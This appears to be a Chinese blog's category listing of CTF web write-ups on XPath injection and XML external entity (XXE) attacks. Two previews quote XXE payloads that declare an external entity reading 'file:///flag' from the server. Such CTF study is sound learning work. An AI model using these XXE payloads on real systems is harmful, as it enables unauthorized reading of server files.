![](https://img-blog.csdnimg.cn/20201014180756754.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
xml
xml题
fmyyy1
最废物的web手
展开
-
[NPUCTF2020]ezlogin
XPATH注入学习一道xpath注入题,又是陌生的知识,学习一下。原创 2021-05-11 13:59:50 · 502 阅读 · 1 评论 -
[CSAWQual 2019]Web_Unagi
文件上传题,看一下给的例子。是xml注入<?xml version='1.0'?><!DOCTYPE users [<!ENTITY xxe SYSTEM "file:///flag" >]><users> <user> <username>bob</username> <password>passwd2</password> &l.原创 2021-05-05 18:28:50 · 468 阅读 · 0 评论 -
[NCTF2019]Fake XML cookbook
xml的题目放着好久了没做,做一下顺便学习。浅谈XML实体注入漏洞是个登录场景,登录抓包。很明显的xml注入<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]><user><username>&admin;</username><password>12345原创 2021-04-27 20:17:27 · 156 阅读 · 0 评论